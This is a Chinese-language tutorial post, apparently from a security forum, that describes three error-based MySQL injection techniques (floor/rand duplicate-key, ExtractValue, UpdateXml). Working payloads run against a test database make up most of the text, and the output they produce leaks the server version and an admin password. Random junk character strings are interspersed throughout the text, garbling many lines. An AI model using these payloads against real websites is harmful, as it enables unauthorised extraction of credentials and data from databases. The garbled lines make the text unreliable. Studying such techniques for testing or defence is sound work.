关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
- r1 ]& J  r+ a( u# C实际测试环境：
1 ?+ y! j" I" J- v3 ?​
' h9 }1 a. A2 h3 d/ ^5 ]7 y8 b
mysql> show tables;
, c7 T9 U2 W+ o3 y' b$ n+----------------+
| Tables_in_test |
% X8 N. X9 r# R& }9 {+----------------+
| admin          |
2 |/ t6 o9 [% ?| article        |
- X9 h" F. t  u: o$ g+----------------+

5 m+ @4 \+ W8 d
7 V, A+ r% O- K6 j5 z
$ E% H5 J& w4 f. j5 m6 `+ j6 bmysql> describe admin;
' ^  d. X1 x% g  k+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
: t" r- }) K6 Y; F+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
* P" l0 M; ~! M) d9 ^4 ~7 m| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
3 A# i6 Z+ X+ E3 m+-------+------------------+------+-----+---------+----------------+
5 \- F" }/ W$ |% \) a; ?+ X

$ C- z" ?- j3 J
3 Q8 r$ t- s$ ~8 ~* }9 E5 B6 l7 Pmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
/ J& W7 w. k# e( U, o7 d| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
. z. ]/ A' `$ @5 s  |2 t| title   | varchar(50)      | NO   |     | NULL    |                |
( f8 o& j6 i* t, Z7 f& }7 y| content | varchar(50)      | NO   |     | NULL    |                |
6 g: l: |3 E7 p6 s3 l' b+---------+------------------+------+-----+---------+----------------+
) n; a3 ?  M- A1、通过floor报错
9 H9 {" I3 }- [/ B可以通过如下一些利用代码

; v5 P/ c, a6 R
& e' p& z. z: |& sand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
6 p+ T& V4 e" D6 C: v

! X! f8 c9 q/ ^2 ^- p1 t- Fand (select count(*) from (select 1 union select null union select !1)x
4 |( E( F* Z* G9 Q( Dgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
. M4 B/ P: @- }  L. |; @举例如下：
7 e$ P6 L( `! x% R% i首先进行正常查询：

, C* ~2 |& o& C0 Smysql> select * from article where id = 1;
5 h; ^. Y: H: A" |+ d+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
+ f( O1 t' d2 s4 g/ y- K0 V假如id输入存在注入的话，可以通过如下语句进行报错。

2 w9 l5 P# h0 ?$ P, y2 i
& _) H) ?6 O+ U' fmysql> select * from article where id = 1 and (select 1 from
! l: Y& L/ R% T" X(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
. ]7 {8 I; o, p# E. C可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
9 p3 h3 m6 c  ^/ R. HMethod1:


5 M  c* z  z% C) R$ }. L% Q2 ymysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
. e0 e1 L/ B/ X! {. @, l7 dfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% }5 s5 R+ Y; G6 G, ?6 `Method2:

; [1 V. `/ K% f! Y, y& H4 ~
3 L6 b- n1 ^" Emysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
$ P) A- c5 _; p$ w8 h% kfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
& q1 W! t+ B: g/ P  f" j) c- O! \
" v3 O5 m  x+ E; [* `5 i; Z( f/ P8 ]
! D" T# e) @' S& a* b( C; Pand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
2 {$ {4 [8 }: X  o! a实际测试过程

( {- Z( s& t, q4 `# G# d
! b$ R; J$ s8 X/ s0 D5 Ymysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
# b( `1 H! o# X: i. w6 H$ e(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
5 j' B; J+ w: A7 P6 z$ Q3、UpdateXml
  }& ~7 f' n' k测试语句
' H- z. n- [" y$ J$ J4 t
; Q* ~4 _6 C% \; y2 k- z
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
$ b9 m2 h3 h/ j/ v0 }/ Q

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
) B9 Q1 K5 T# J* ~0 Y7 F* JAll, thanks foreign guys.

# B) }; U4 |2 `​